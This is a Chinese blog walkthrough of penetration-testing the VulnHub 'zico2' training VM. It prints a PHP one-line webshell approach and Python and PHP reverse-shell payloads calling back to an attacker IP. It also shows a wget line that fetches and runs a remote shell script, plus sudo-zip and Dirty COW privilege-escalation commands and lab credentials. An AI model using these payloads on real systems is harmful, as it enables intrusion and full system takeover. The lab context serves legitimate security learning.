vulnhub渗透系列之zico2(内含zip提权和脏牛提权)

我是啊锋,一个努力的学渣,作为一个刚进入安全大门的小白,我希望能把自己所学到的东西总结出来,分享到博客上,可以一起进步,一起交流,一起学习。

我这个靶机总结了两种反弹shell和两种提权的方法(python反shell和zip提权、php反shell和脏牛提权)并且有我错误的经验。希望能帮助到你们

实验过程总结

1.探测发现开放端口22、80、111端口,发现页面存在文件包含漏洞,dirb目录后发现一处数据库登录页面并提示了phpLiteAdmin 1.9.3版本。弱口令admin即可进入
2.进入数据库页面后在info处发现两个账号密码,但ssh连接都不成功。
3.通过利用phpLiteAdmin 1.9.3版本的远程文件包含漏洞和python或php的反弹shell方式与nc连接得到一个交互的低权限shell
4.在/home/zico/目录下发现wp框架并查看wp-config.php文件找到zico用户的密码、登录到zico后发现该账号可用zip提权(也可以用脏牛提权,直接提到最高root权限)


渗透攻击步骤

靶机在VMbox用的是桥接网络 netdiscover -i eth0 -r 192.168.0.0/24 探测存活主机
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第1张图片
Nmap -O 192.168.0.120探测存活的端口和靶机系统版本
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第2张图片

111端口RPCBIND用于取代旧版本中的portmap组件。
简单说,RPCBIND就是为了将不同服务与对应的端口进行绑定,以便支持机器间的相互操作

既然开放了80端,就去网页玩玩看看,是一个挺优雅美观的页面
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第3张图片
但这个页面好像也没什么好突破的,在最下面的按钮check them out点击才发现了突破口
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第4张图片

?page=、?url=、反正看到?xxx=的形式,你可以尝试的点有四个
1、	任意url跳转
2、	Ssrf
3、	文件包含
4、	Sql注入

但这里挖到文件包含漏洞,经典的探测方法就是…/…/etc/passwd,我这里用的是burp抓包方法,也可以直接在页面url链接那直接尝试。
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第5张图片
有文件包含漏洞的话,很有必要扫出一些有用的目录,然后结合文件包含漏洞得到一些重要的敏感信息dirb扫描页面目录,但得到有用的页面并不多
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第6张图片
这个页面主要有用的还是dbadmin
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第7张图片
进去是个登录页面,并且提示了框架信息,phpLiteAdmin 1.9.3版本存在一个远程php代码执行漏洞
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第8张图片
这个页面弱口令admin密码就可以登录了。登录后可以查看账号密码
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第9张图片
扔进去MD5解密一下
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第10张图片
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第11张图片
得到了两个账号密码root 34kroot34 /zico zico2215@
这里我有两个想法

1.	用ssh登录下账号密码,看能否成功
2.	利用phpLiteAdmin 1.9.3版本存在一个远程php代码执行漏洞

想法一:用ssh登录,

发现事情并不简单,登录失败。
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第12张图片

想法二:利用phpLiteAdmin 1.9.3版本存在一个远程php代码执行漏洞

步骤一:返回到数据库管理页面先创造一个.php文件作为数据库
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第13张图片
步骤二:在该数据库(php文件下)创建一个数据表a(随便设置名字)
在这里插入图片描述
步骤三:在Default Value下插入一句话马子
因为在这里上传的一句话中引号会被过滤,所以一句话不含单引号;
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第14张图片
步骤四:利用刚开始那文件包含漏洞,访问一下创建的数据库(php文件)
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第15张图片
步骤五:上菜刀
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第16张图片
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第17张图片


第一种玩法:python反弹shell和zip提权

接着上一回菜刀连接:只是www-data还不是最高的root权限,但我发现传错了一句话,之前post传输的一句话虽然能连接菜刀,但是并不能在页面&cmd显示出来,需要改成get型
在这里插入图片描述
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第18张图片

然后在kali端监听并且开放端口1234,在页面url使用以下pyhon反shell的payload(注意修改IP和端口

192.168.0.120/view.php?page=../../usr/databases/feng.php&cmd=
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.99",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`

这个用法在我的bulldogs上有,如果不懂的,可以去看看我博客的bulldogs
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第19张图片
得到了靶机shell之后用python的完全交互tty
在这里插入图片描述
进入之后找路径疯狂搜索资料,在/home/zico/文件下看到是wordpress框架,直接找它的wp-config.php文件!我上一篇靶机(Billu_b0x )也是wp框架,cat查看该文件
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第20张图片vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第21张图片
获得密码sWfCsfJSPV9H3AmQzw8用su zico切换用户并且查看该用户的权限
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第22张图片
这里看到zip拥有root权限,如何用zip提权
参考:https://www.freebuf.com/articles/system/206007.html像这里一样套着用就行
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第23张图片

touch feng
sudo zip /tmp/feng.zip /home/zico/feng -T --unzip-command="sh -c /bin/bash
创建feng文件,然后将文件feng压缩,然后将其移动到/tmp/文件夹,最后在/home/zico解压缩,
然后弹出root

vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第24张图片
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第25张图片
到这里应该是结束的了,但我在网上看到了其他不同的做法, 我想复现出来,多学点东西


第二种玩法:利用php反shell和脏牛提权

把脚本写进oa.txt,并把该文件夹放进kali的root目录下,因为我要在该目录下开启微型服务器。Tips(如果要在/var/www/html的话,就要在那个目录下建脚本)
脚本内容

<?php $sock=fsockopen("192.168.0.99",1234);exec("/bin/sh -i <&3 >&3 2>&3");?>

vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第26张图片
搭建轻型服务器也很简单,有两种方法

apache的/etc/init.d/apache2 start
python -m SimpleHTTPServer 80

在这里插入图片描述
然后回到进入的数据库,我们先创建一个数据库feng_data,再创建feng_table表,表中插入wet下载靶机的oa.txt脚本内容
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第27张图片
然后先监听kali,注意nc监听的时候不要关闭http服务器,同时开多一个命令框就好了
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第28张图片
但….发现…并不能反shell,搞了我很久,逼得我非要把东西都改成shell.php才成功,

<?php system("wget 192.168.0.99/shell.txt -O /tmp/shell.php; php /tmp/shell.php");?>
-O就是把wget下载的内容输入到tmp目录shell.php里面,php /tmp/shell.php就是运行这段代码

那为什么都要是shell这个名字才行,有点不科学。(数据库,数据表,都改成shell.php
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第29张图片
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第30张图片

脏牛提权

Exp下载https://github.com/FireFart/dirtycow
下载好之后把dirty.c拉到kali的root文件夹下
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第31张图片
因为我的轻型服务器还没断开,而且是靶机的一个低级权限,所以我要下载这个dirty.c
文件wget http://192.168.0.99/dirty.c -O /tmp/dirty.c
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第32张图片
下载好了之后可以进行gcc -pthread dirty.c -o exp -lcrypt(编译命令
./exp feng (使用exp,后面的feng是密码,你喜欢也可以换其他)
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第33张图片
查看一下超级管理员的账号改成firefart没有,可见root已经替换成firefart了
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第34张图片
切换到firefart用户
vulnhub渗透系列之zico2(内含zip提权和脏牛提权)_第35张图片
听说你们还不信是root权限
在这里插入图片描述


用心写好每一篇博客,我是啊锋,一个努力的学渣。

你可能感兴趣的:(靶机系列)